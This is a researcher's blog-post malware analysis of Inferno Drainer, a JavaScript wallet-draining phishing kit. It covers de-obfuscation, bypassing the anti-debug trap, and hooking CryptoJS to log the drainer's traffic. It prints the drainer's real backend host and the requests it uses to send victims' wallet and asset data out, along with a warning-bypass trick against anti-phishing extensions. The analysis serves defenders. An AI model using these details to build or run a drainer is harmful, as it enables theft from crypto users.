A peek inside Inferno Drainer

Bernhard Mueller
5 min readApr 17, 2024

Inferno Drainer is a widely used piece of JavaScript malware in web3 phishing campaigns. Its purpose is to drain the assets of phishing victims. While samples of Inferno can easily be found in the wild, the code is obfuscated in some annoying ways, making analysis challenging. In this article, I’ll explore some techniques to help understand the drainer’s functionality.

Our drainer sample comes as a single line of messy-looking JavaScript:

First look at Inferno drainer

The obfuscation scheme relies heavily on string obfuscation, with function calls in the format p[number]calc that decode variables and strings at runtime. To partially de-obfuscate the strings, we can walk through the AST, evaluate calls to the string decryption functions to obtain the literals, and replace the function calls with the literals before regenerating the code.

Running our de-obfuscation tool results in more readable code that is still fully functional (this is important since we later want to debug the code). However, partially obfuscated strings, control flow indirection, and dead code remain, so runtime analysis is an efficient next step.

Drainer dispatch function, partially deobfuscated


We can now add breakpoints directly in Chrome dev tools or by adding the debugger keyword. However, the drainer contains a defense mechanism that repeatedly triggers breakpoints when the debugger is open. We need to comment out a section of code to stop this nasty behavior.

The second problem is that our wallet address will get blacklisted on the backend after a day or so of testing, but this is easily bypassed by creating a new address.

With these issues resolved, we can add a breakpoint practically anywhere to dump the drainer instance’s built-in configuration, which specifies the customer ID, API URLs, API versions, and other settings, some of which can be by overwritten by the backend later.

Obtaining the drainer config at runtime

Network comms and dynamic config

By hooking the CryptoJS AES encrypt and decrypt methods, we can dump the drainer’s API request and response bodies to the console. We add a couple of hooks at line 12766:

if (typeof CryptoJS['AES']['_originalDecrypt'] === 'undefined') {
CryptoJS['AES']['_originalDecrypt'] = CryptoJS['AES']['decrypt'];
CryptoJS['AES']['decrypt'] = function(arg1, arg2) {
result = CryptoJS['AES']['_originalDecrypt'].apply(this, [arg1, arg2]).toString(CryptoJS.enc.Utf8);
console.log('Decrypt: ', result);
return result;

if (typeof CryptoJS['AES']['_originalEncrypt'] === 'undefined') {
CryptoJS['AES']['_originalEncrypt'] = CryptoJS['AES']['encrypt'];
CryptoJS['AES']['encrypt'] = function(arg1, arg2) {
console.log('Encrypt: ', arg1);
return CryptoJS['AES']['_originalEncrypt'].apply(this, [arg1, arg2]);

This will log API request and response bodies.

Decrypted request body in the Chrome console

As it turns out, the drainer obtains a global configuration from the backend, allowing customization of frontend elements and enabling/disabling features.

When a user connects their wallet, the drainer sends the user’s address to the backend and receives the victim’s asset details and values in response. It supports multiple blockchains like Ethereum, Avalanche and Binance Smart Chain.

POST https://iq7grexsvo.su/ethereum
"walletAddress": "0x74cc5a26dfb16ecdad6bee0901255b8cce329d2d",
"walletName": "MetaMask",
"nftsApi": 2,
"tokensApi": 2,
"site": "http://register.degenbasedefi.net:8000/degen/"
"rawAssets": [{
"address": "0xeb[...NFT address]....",
"name": "[NFT name]",
"tokensId": ["10"],
"type": "erc721",
"totalPrice": 454.82400599999994,
"isOpenseaApproved": false,
"isBlurApproved": false,
"isX2y2Erc721DelegateApproved": false,
"isWyvernProxyContractApproved": false,
"chainId": 1,
"price": 454.82400599999994
"balances": {
"1": {
"balance": "199718310222512000",
"price": 645.6054152590877
"drainerAddress": "0x0000db5c8b030ae20308ac975898e09741e70000",
"customerAddress": "0x77865b925f96fc49837cfe27ec04cd5a691e61ef",
"isAutoSplitEnabled": false,
"isAutoSendWhenNoGasEnabled": false,
"transferContracts": {
"1": "0x000037bb05b2cef17c6469f4bcdb198826ce0000",
"10": "0x000037bb05b2cef17c6469f4bcdb198826ce0000",
"25": "0x000037bb05b2cef17c6469f4bcdb198826ce0000",
"multiFunctionsContracts": {
"1": "0x000012e3c4039ec46b89309d2117654ef7c20000",
"10": "0x000012078634894fea337ab330531474cc340000",
"25": "0x000055fc8a4034a0ca60a2f55e106bd4314a0000",
"56": "0x00004414064f30d3a4e55f393b4a1e11bf9e0000",
"100": "0x000067a7aa3cca16279156141b65abb3ada50000",

The response includes:

  • “rawAssets”: assets owned by the victim like ERC20 and ERC721 tokens
  • “balances”: the user’s native balances on various chains
  • “multifunctionContracts” and “transferContracts”: used to collect and transfer victims’ assets

Phishing warning bypass

The drainer creates a counterfactual contract address locally and sends it to the backend:

POST /salt HTTP/2
Host: iq7grexsvo.su

This is used to evade anti-phishing browser extensions.

Let’s start debugging some code to find out how the warning bypass works. We can see that the config variable useWarningBypass1 is used in line 14309 where the drainer target address is selected.

Depending on the useWarningBypass1 configuration:

  • If true, the drainer uses the dynamically created address it previously sent to the backend for collecting assets
  • If false, it uses the an address from the “multifunctionContracts”

The config contained useWarningBypass2 and useWarningBypass3 options but these settings didn’t seem to do anything in the analyzed sample (unless I overlooked something).

Debugging drainer features

With the techniques above, the drainer’s functionality can be systematically analyzed. As an example, let’s focus on the ApeCoin un-staking feature.

We find the relevant function _0xb97721 and add a call to it at the start of the main drainer loop (this ensures that we enter the function when running the drainer).

-- Line 18370
_0x51c1a6 = await _0xb97721();

We also set a breakpoint in the apeCoin draining function at line 15655:

-- Line 15655

_0x5513c9['exports'] = async function () {

The first part of the function contains some dead code.

-- Line 15657

var __p_0462752859 = false;
const _0x14dfdd = _0x256c, _0x46a65f = _0x256c;
if (__p_0462752859) {
// Never executed

The drainer then encodes the withdrawApeCoin function call and attempts to send it to the ApeCoin staking contract via MetaMask. We reject the actual transaction but modify the return value to indicate success to the drainer.

Then, the drainer then notifies its backend API of the successful draining call, sending details like the chain ID, wallet address, transaction hash, and asset amounts.

POST /ape-coins-unstake HTTP/2
Host: iq7grexsvo.su

"chainId": 1,
"walletAddress": "[wallet-address]",
"txHash": "[tx-hash]",
"receiver": "0x000012e3c4039ec46b89309d2117654ef7c20000",
"salt": false,
"amount": "0",
"price": 0,
"type": 2,
"site": "http://register.degenbasedefi.net/degen/"

Some other notable features of Inferno include:

  • Draining native assets like ETH directly
  • Creating token allowances via approve, permit, and permit2
  • Transferring CryptoPunks, Creepz, and assets on marketplaces like Blur and OpenSea
  • Token swaps using configurable DEXes like Uniswap and PancakeSwap


By applying de-obfuscation techniques and leveraging browser developer tools, we can delve into Inferno drainer’s code to identify its features, configuration, and the APIs and blockchain addresses involved. Debugging each of these features requires a bit of effort but becomes quite easy once one has become familiar with the Inferno codebase. I hope this analysis is helpful for web3 security researchers.



Bernhard Mueller

Hackers (1995) fan • “Best Research” Pwnie Awardee • Retired degen • G≡¬Prov(num(G))